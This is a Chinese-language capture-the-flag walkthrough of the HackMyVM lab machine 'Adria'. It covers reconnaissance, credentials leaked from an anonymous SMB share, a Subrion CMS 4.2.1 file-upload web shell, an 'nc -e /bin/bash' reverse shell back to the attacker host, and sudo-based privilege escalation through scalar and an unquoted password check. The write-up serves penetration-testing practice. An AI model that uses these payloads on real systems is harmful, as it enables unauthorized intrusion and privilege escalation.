目录
一、测试环境
1、系统环境
2、使用工具/软件
二、测试目的
三、操作过程
1、信息搜集
2、Getshell
3、提权
四、结论
一、测试环境
1、系统环境
渗透机:kali2021.1(192.168.101.127)
靶 机:debian/linux(192.168.101.226)
注意事项:该类型靶场只能在virtualBox上搭建,因此将靶机设置为桥接网络,方便进行渗透。攻击机kali也要桥接出来,不然会出问题。
2、使用工具/软件
Kali: nmap(端口和服务探测)、dirsearch(目录扫描)、nautilus(文件资源管理器)、nc(反弹shell)、unzip(解压文件)、grep(查找字符串)
物理机:Railgun(主机探测)
靶场介绍:由国外大佬搭建的靶场,类似于vulnhub,经常更新,需要翻墙才能进。
地址:https://hackmyvm.eu/machines/machine.php?vm=Adria
测试网址:http://adria.hmv/
二、测试目的
通过渗透web网页getshell,进行提权操作拿到root权限,并拿到flag。
三、操作过程
1、信息搜集
主机发现
使用railgun工具进行wifi网段扫描,扫到两个主机,一个是物理机,另一个就是靶机
靶机IP:192.168.101.226
物理机IP:192.168.101.241
端口和服务扫描
nmap -sT -A -p- -T4 192.168.101.226
可以看到开启端口情况:22端口(ssh服务)、80端口(web服务)、445端口(smb服务)
并且该靶机的web服务进行了重定向, 需要设置hosts
修改hosts文件
Hosts文件地址:
Windows:C:\Windows\System32\drivers\etc\hosts
Linux:/etc/hosts
192.168.101.226 adria.hmv
现在可以进入web主页了
http://adria.hmv/
目录扫描
dirsearch -u http://192.168.101.226 -i 200,301 --exclude-sizes=0B
扫描到很多有用的目录:robots.txt文件、sitemap.xml、panel后台入口
2、Getshell
在panel目录发现后台登录入口,也看到CMS框架的版本信息
Subrion CMS v4.2.1
Kali中打开nautilus,使用smb登录靶机查看
smb://192.168.101.226
可以匿名登录DebianShare,下载configz.zip文件到本地
解压该文件
unzip configz.zip
使用递归搜索,查找用户名和密码信息
grep -r "user"
得到一组用户名和密码:admin/jojo1989
使用该账户成功登录web后台panel
查找该CMS的历史漏洞,利用的是文件上传的漏洞
地址:https://www.exploit-db.com/
在exp中可以看到,利用.phar的后缀名可以上传文件进行解析,php木马
上传点在content—uploads里
上传一个rce的exp
<?php system($_GET['cmd']); ?>
点击link即可跳转到shell地址
可以执行nc命令进行getshell
nc -lvvp 6666
需要注意的是,这里kali必须是桥接出来,和靶机、物理机一个网段,才能获取反弹shell。否则反弹shell不成功,靶机ping不到NAT的kali,获取交互式shell也不会成功。
http://adria.hmv/uploads/shell1.phar?cmd=nc -e /bin/bash 192.168.101.127 6666
成功获取shell
3、提权
获取交互式shell
SHELL=/bin/bash script -q /dev/null
发现当前用户是www-data,可以以adriana用户身份执行scalar文件
该工具是管理git项目的一个工具
sudo -u adriana /usr/bin/scalar
尝试执行命令
scalar虽然自身没有直接执行命令的能力,但是可以通过手动输入脚本然后像python那样逐行解释运行。
可以在该工具的交互式输入!sh来获取adriana用户的shell
sudo -u adriana /usr/bin/scalar list
!sh
whoami
成功获取了adriana用户权限
获取该用户的flag:fbd401c3bff5ec92d1ba6f74a2340f0f
sudo -l
发现有个backup文件可以执行
file /opt/backup
cat /opt/backup
该文件是一个shell文件,只有输入正确root的密码才会执行
但是shell代码有点问题
第7行的$PASSWORD == $USER_PASS,两个变量都没有加上引号,呈现上就是如果输入通配符*或者?的话会直接匹配成真
所以执行backup脚本只需要输入*即可,只不过密码不会直接打印出来,需要起另一个进程监视后台
watch -n 0.1 -d "ps aux | grep -ai /usr/bin/zip"
监视出现问题的原因:
终端类型没有正确设置
export TERM=xterm
开启监视后,执行shell文件,输入*作为密码
sudo /opt/backup
*
可以监听到密码:
8eNctPoCh4Potes5eVD7eMxUw6wRBmO
只有几秒钟
可以成功登录root用户
获取root用户的flag:3a61b172fd39402aa96b1653a18e38a1
四、结论
通过CMS的历史漏洞getshell,之后通过sudo权限,逐步提权拿到用户权限,最后拿下root用户的密码。